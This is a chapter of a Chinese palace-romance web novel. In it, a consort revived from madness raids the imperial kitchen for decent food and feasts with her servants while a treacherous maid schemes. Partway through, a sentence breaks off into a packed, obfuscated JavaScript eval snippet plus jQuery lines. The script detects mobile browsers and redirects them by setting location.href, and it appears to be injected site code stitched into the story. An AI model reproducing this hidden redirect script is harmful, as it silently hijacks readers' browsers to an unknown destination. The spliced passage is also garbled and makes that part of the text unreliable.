3. 第三顿饭
作品:《我靠吃播宠冠六宫》 没有手机,没有光污染,没有莫名的噪音,在花香虫鸣中,沈宓香甜地睡到日上三竿。
揉着睡眼晨起时,身子都松快了不少,沈宓懒懒地打了个哈欠,床帘就被人掀开来,她微微蹙了下眉,嚯,好大一对浓黑眼圈儿。
福喜疲乏地挤出一个笑:“娘娘,您醒了?”
沈宓仔细打量了眼福喜,面黄肌瘦,星星点点的雀斑越发突兀,原本一张圆脸此时就像张干巴的淄博烧饼,一碰就碎得掉渣渣。
“你昨夜失眠了?”
福喜神色顿了顿,笑着回道:“夏日多是如此,毕竟蚊虫多了些。”
沈宓本想说那就多去内务府拿些驱虫的药来,但想到静澜轩如今的光景,还是抿了抿唇,不给人添堵。
梳妆的时候,沈宓却被自己堵住了。
她刚才还同情福喜,可福喜起码还有个人样儿。
而铜镜里这位,面皮惨白,眼窝却深陷乌黑,头发枯黄毛躁到鸡都懒得搭窝。唇色更是惨淡,若是抿紧了,就跟没了嘴似的。下巴尖得一低头就能把胸口戳个血窟窿······
沈宓气得干笑了两声,好好好,她前世为了减肥用尽了力气和手段,现在也算得偿所愿,成饿死鬼了?
可等早膳摆上桌后,沈宓又傻了眼:一笼干巴巴,褶子比老太太还多的包子,一笼像纹了身花花绿绿的馊馒头,还有盆清澈光亮如镜子的米汤,再就是几碟可以当文物出土的黑巴咸菜······
这伙食,天杀的,饿死鬼都能再饿死一次!
穿越这大半个月来,她身子虚弱,神思混乱,每天过得浑浑噩噩的,从来都是福喜喂什么她吃什么,没想到就吃这些,这是把她当小日子整呢!
沈宓气得快把筷子捏断,磨着牙恨道:“这是人吃的嘛!”
如果是嫔位以下的小妃子也就罢了,可她现在是正三品的九嫔,一宫主位娘娘!那些古董文玩,锦衣头面啥的暂且不提,但你让一个吃货没饭吃,那麻烦就大了。
伺候用膳的是福喜和福清,她们两个对视了一眼,都面色艰难得不知道如何开口,以前娘娘还神志不清的时候,也就罢了,如今娘娘病愈了,按照以前的脾性,那必然是······
往常到了饭点,御膳房都是最忙碌的,送膳取膳的太监宫女流水似的一波接一波。
自皇帝带着后宫主子们去行宫避暑后,剩下宫里麻雀两三只,底下的人自然忙里偷闲,松散了许多。
如今御膳房内来往太监宫女三三两两,个个神情闲适,不像当差倒像是闲逛的。
沈宓立在殿外等了些时候,尚无一人前来问话。她觑了眼旁边的福喜,福喜一脸难色:“娘娘,咱们果真要如此吗?毕竟金贵人那边还不知如何,如今再和御膳房拉扯,恐怕······娘娘,咱们还是忍忍吧。”
沈宓冲福喜安抚地笑了笑,“你放心,本宫有数,有些事自然要忍的。”
福喜掩耳盗铃似的也笑了笑:“那就好,那就好。”
沈宓下一句却说道:“可就算咱们哭爹喊娘地把启祥宫的地磕烂,她就能大发慈悲饶了咱们?争是死,不争也是死?你怎么选?”
福喜咬了咬唇,还要再说些什么,福清却昂首挺胸地往御膳房冲去,沈宓眯着眼淡淡一笑,这姑娘倒是个有胆量的。
沈宓进来的时候,一个太监正趾高气扬地对着福清训话:“你这小丫头好没规矩!你们静澜轩的饭菜是一早就送去了,现在说不能用,这不是明摆着来找茬儿嘛?”
“公公说对了,本宫还就是来找茬儿的。”沈宓施施然进来,笑得一脸和善。
太监闻言,愣了愣,见一穿着陈旧,形容枯槁的女人立在眼前,登时恼羞成怒:“你是什么东西敢口出狂言?”
这下就连老实的福喜都气不过了,“大胆,这是静澜轩晴嫔娘娘,你竟敢以下犯上?”
那太监又怔愣了下,很是狐疑地上下打量了着沈宓,见宫装陈旧,可的确是嫔妃打扮,他竟下意识地口无遮拦道:“晴嫔,不是已经疯了吗?”
“劳公公牵挂,本宫如今已大好。”沈宓轻轻挑眉,脸上挂着意味不明的笑。
太监张了张嘴,这才恢复往日的机灵,眼珠子转了两转,却是不情不愿地跪了下去:“奴才有眼无珠,没认出娘娘,还请娘娘原谅则个。”
沈宓冷笑一声:“公公还是免了吧,本宫看如今就是皇上来了也得吃你的挂落呢。本宫竟不知,如今这膳房竟是你当家了?”
太监的背明显塌了下,声音恭敬了些,“娘娘折煞奴才了,这御膳房上有总管,下有领事,奴才位卑言轻,哪能做得了主啊。”
沈宓视线在那太监身上划拉了圈儿,倒是个机灵的,哪怕知道自己是个失宠老妃子,但身份不对等,就开始搬救兵了?
“那就请能做主的来,否则,本宫就将你们这御膳房砸了!”沈宓眉眼飞扬,很是有妃嫔的凌厉来。
那太监哆嗦了下,忙下去叫人了。
福喜忍不住扯了扯沈宓的衣袖,“娘娘,您刚才不是说忍一忍嘛?”
沈宓一本正经道:“是啊,本宫忍着尽量不把御膳房砸烂。”毕竟她明天还得吃饭呢。
福喜乍一听,嘟囔着,“那就好,那就好······”顿了顿,她回过了神,忽地喊了句:“什么,把御膳房砸烂?”
这时候,一个大腹便便的太监慢悠悠走了过来,稳住身形后,他先是肆意地盯着沈宓打量了番,尔后才拿腔拿调地行礼问安:“御膳房领事太监王正见过晴嫔娘娘,娘娘吉安。”
沈宓自然没叫起,围着太监王正走了半圈儿才懒懒地抬了抬手:“起来吧。”
王正挤出一个惯常的笑脸:“晴嫔娘娘贵体大愈,实在可喜可贺,都怪奴才们不懂事,改日一定登门贺喜。”
“公公真是会说笑,本宫只怕等不到那天,就饿死在静澜轩了。”沈宓似笑非笑地说道。
王正脸色大骇:“娘娘说得这是哪里话?”
沈宓朝身后使了个脸色,太监常盛就把早膳的食盒摆在了旁边的案桌上,一样样拿出了那些令人作呕的早膳。
“王公公,本宫知道御膳房事忙,难免有疏漏的地方,只是这样的早膳拿到静澜轩未免有些太过了吧?”
王正脸色变了又变,深深埋下头去:“娘娘恕罪,都怪奴才御下不严,让那些贱骨头钻了空子。只是今早静澜轩的膳食的确是按照分例送过去的,不知道是哪路上的下贱胚子使了坏,这才冒犯了娘娘啊。”
沈宓轻佻了下眉眼,“既如此,那王公公打算怎么处置呢?”
王正在宫中混了十几载,算是个老油子。可也没想到这破天荒都难有的事,如今竟发生在了晴嫔身上——她的疯病竟然好了。
那么再落魄也是正儿八经的主位娘娘。
然而,他侍奉的娘娘去行宫之前是耳提面命,要他好好“照顾”静澜轩,若是办不好,可有的麻烦。
思来想去,如今皇上皇后、贵妃都不在宫中,她一个主位娘娘穿成这样亲自来御膳房要饭,可见背后也没什么仪仗。
王正心一狠,又把皮球给踢了回去。
“哎呦,娘娘您放心,奴才回头一定好好教训底下那些不长眼的给您出气。只是这膳食一路送到静澜轩,不知道经了多少人的手,又不知是在膳房就出了事儿,还是在您的静澜轩被动了手脚,只能委屈娘娘等候些时日了。”
沈宓气极反笑,“你的意思是,还是本宫的错,没管好宫里的人?”
“奴才哪里是这个意思?只是您之前常在病中,有些事顾不过来也是有的。”王正抬起脸,笑得不卑不亢,恰到好处。
沈宓笑着点了点头:“很好,王公公既然这么说,那本宫也没法子了。福喜、福清、常恩、小松子把御膳房给本宫砸了。”
除了福喜,其余三人都跟打了鸡血似的冲向了膳房各个角落,福喜张了张嘴巴,很有些乏力,“娘娘,您刚才不是说尽力忍着不砸烂嘛?”
沈宓理所当然地瞪了她一眼:“是啊,本宫说了,这不没动手呢嘛?”
福喜看着三人大闹天宫的架势,眉头还是紧蹙着,“奴婢还是去劝劝吧。”说着她颤颤巍巍地走过去,煞有介事地对着王正告了声得罪,当即便拦着常九道:“哎呀,错啦,错啦,娘娘平时都吃血燕,白燕都不看的。哎,今天这肘子炖得黑,娘娘更喜欢吃鱼翅。不是,这么粗糙的点心你也拿,娘娘可是爱吃蟹粉酥······”
王正闻言,心都碎了,要不姑奶奶您还是别劝了吧?
“晴嫔娘娘,您这是做什么!”
沈宓嘴角轻挑,眨了眨眼,“王公公不是说本宫御下不严嘛,如今您见到了,确实如此,还请公公原谅则个。”
哼,当她这么多年娱乐圈白混的?坚决不跳别人挖的自证陷阱。与其内耗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914498|192506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
折磨自己,不如发疯折腾别人!
说着,她一脚把案桌上汤粥滚滚的泥炉踹到了旁边的柴火垛里,汤汤水水顿时淋漓了一地,通红的煤块跐溜一声钻到引火的茅草堆里,很快便升腾起灰黑色的浓烟,打杂的粗使太监宫女们没怎么经事,扯着嗓子大喊大叫起来。
御膳房顿时乱成了一团······
等回到宫中,沈宓才发现,原本跟在身后这四个唯唯诺诺的软包子,可真是人狠话不多,抢来的东西直接铺满了一大张八仙桌。
有蟹黄汤包、水晶蒸饺等各色面点,鸡肉粥、牛乳燕窝粥、桂花银耳羹更是各一大海碗,福喜知道原身爱吃甜的,就搜罗了好些栗子糕、蟹粉酥,甚至还有大名鼎鼎的酥油鲍螺。
手脚麻利的常九更不得了,竟抢了一盅蟹酿橙来。
古代的菜品虽没有现代那些繁复精致的香料,但食材都是实打实的新鲜,天然,浓郁的香味中透着一股子干净纯澄。
沈宓招呼静澜轩中的人一起吃,七个人扭扭捏捏的不肯坐下,她是真饿急了眼,一人给了一脚,八仙桌上这才圆满了。
沈宓对螃蟹没有任何抵抗力,先舀了一大勺蟹酿橙进嘴里,那股清香鲜甜直达五脏六腑,浑身忍不住打了个颤儿。尔后又夹了个嫩软弹牙、汤汁淋漓的蟹黄汤包,浓郁的鲜香让人差点儿咬到舌尖儿。酥油鲍螺细腻香滑,润泽甜美,一溜儿就顺到胃里,真真是甜到了心窝,吃得眼角都蹦出了几道水痕。
几人见沈宓吃得格外香甜,脸上先是有些诧异,原身当年为了争宠,养得一段细腰,盈盈不堪一握,平日里用膳和猫儿似的,两三口便饱了。不想今日是饿坏了,还是改了脾性。
不过很快他们也无暇思虑,只见自家娘娘的樱桃小嘴一张一和间,就吃下了颗浑圆扎实的肉丸,腮鼓成两个小包子,不疾不徐地耸动着,眉间微蹙,一双桃花眼顿时碎慢了笑意,似星辰点点,莹莹生光,让人觉得那肉丸是真真有滋味儿。
于是,人人手中的筷子都快夹出了火星子。
沈宓埋头苦吃间,无心注意到这殿中的微妙变化。只是舌尖儿刚尝出点儿好滋味来,肚子就撑得胀疼,真是一会儿天堂,一会儿地狱,看着满桌美食,沈宓再次留下不争气的泪水。
福喜见状,忙起身轻抚她的后背,“娘娘这是怎得了?”
太监常恩不明就里,平时也是个憨头憨脑的,怯怯地问道:“娘娘莫不是现在后怕,吓哭了?”
常九照着他头上就是一巴掌:“放肆,胡说些什么呢?”
常恩忙打起自己的嘴,“是我不好,是我胡说,该打该打!”
众人忙劝,脸上却不由得黯淡了下去,想想刚才大闹御膳房确实痛快,可静澜轩如今在这宫中的地位······
沈宓硬生生被殿里闷沉的气氛给扯回了神,她没好气道:“你们一个个都是什么丧气样儿,本宫看起来就那么不着调吗?”
“奴才不敢!”
“嘴上不敢,心里指不定怎么想呢!”沈宓嘁了声,有些烦躁地瞪了众人一眼,不过此时训话没有用,必得拿些手段出来,否则不用别人出手,她们静澜轩自己就先窝囊死了。
今早福灵称病告假,福喜便来送膳食,福灵看着琳琅满目的食盒,一时间有些怔愣,“这是?”
福喜叹了口气,便把大闹御膳房的事儿一股脑儿说了,“福灵姐姐你不在,静澜轩里都没了拿主意的人,也劝不住娘娘。”
福灵闻言心中大喜,晴嫔果然还和从前一般,即使清醒了,也是个狗肚子里藏不住二两香油的蠢材草包。
她面上却不显,装出一副愤恨又痛快的样儿来,“御膳房那帮黑心肝的实在可恨,娘娘既然好了,闹一闹也好,要不然宫中都快忘了咱们静澜轩的人了。”
“话是这么说,可如今金贵人那边还没传来消息,咱们免不了要提心吊胆的。”福喜搓着手指头,眉头皱得快展不开。
“可娘娘心里苦闷啊,我这边身子好了自会好好劝劝娘娘,你们这几天伺候时也想法子让娘娘高兴高兴,才是正理。否则,再憋出病来可怎么办啊?”福灵握着福喜的手,语重心长。
福喜这才点了点头,抬手轻轻擦了擦眼角,“还是姐姐见事明白,咱们现在当然还是以娘娘的身体为重。那我先去伺候娘娘了,姐姐先用膳吧。”
送走了福喜,福灵看着那满满当当的食盒,脸上浮起一抹冷笑。

